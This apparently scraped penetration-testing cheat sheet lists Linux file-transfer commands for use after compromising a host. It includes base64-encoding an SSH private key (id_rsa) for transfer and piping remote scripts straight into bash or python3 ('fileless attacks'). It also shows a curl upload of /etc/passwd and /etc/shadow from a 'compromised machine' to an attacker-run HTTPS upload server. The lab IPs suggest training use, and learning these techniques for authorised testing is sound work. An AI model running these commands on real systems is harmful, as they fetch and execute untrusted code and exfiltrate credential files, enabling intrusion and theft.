Base64 Encoding / Decoding We use MD5 to verify file integrity terminal Copy
md5sum id_rsa bash Copy
$ cat id_rsa | base64 -w 0; echoDecode on the other machine terminal Copy
$ echo -n 'cadena_codificada_base64' | base64 -d > id_rsaVerify file integrity on the other machine terminal Copy
md5sum id_rsa Wget & Curl terminal Copy
$ wget http://<ip>/LinEnum.sh -O /tmp/LinEnum.sh$ curl -o /tmp/LinEnum.sh http://<ip>/LinEnum.shFileless Attacks terminal Copy
$ curl http://<ip>/LinEnum.sh | bash$ wget -qO- http://<ip>/helloworld.py | python3Bash (Dev/TCP) Connect to the web server
terminal Copy
exec 3<>/dev/tcp/10.10.10.32/80 GET request
terminal Copy
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3Print the response
SSH Enable the SSH server
terminal Copy
sudo systemctl enable ssh sudo systemctl start ssh Check which port SSH is listening on
terminal Copy
netstat -lnpt Download the file using SCP
terminal Copy
$ scp plaintext@192.168.49.128:/root/myroot.txt .Upload Operations Web (UploadServer) Create a self-signed certificate
terminal Copy
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'Start the server with HTTPS
terminal Copy
$ mkdir https && cd https$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pemUpload files from a compromised machine
terminal Copy
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureWeb (Basic) terminal Copy
$ python3 -m http.serverpython2.7 -m SimpleHTTPServer php -S 0.0.0.0:8000 ruby -run -ehttpd . -p8000 From the attacker machine, retrieve the files
terminal Copy
$ wget 192.168.49.128:8000/filetotransfer.txtSCP Upload Some companies may allow the SSH protocol (TCP/22) for outbound connections, and if that is the case, we can use an SSH server with the scp utility to upload files
terminal Copy
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/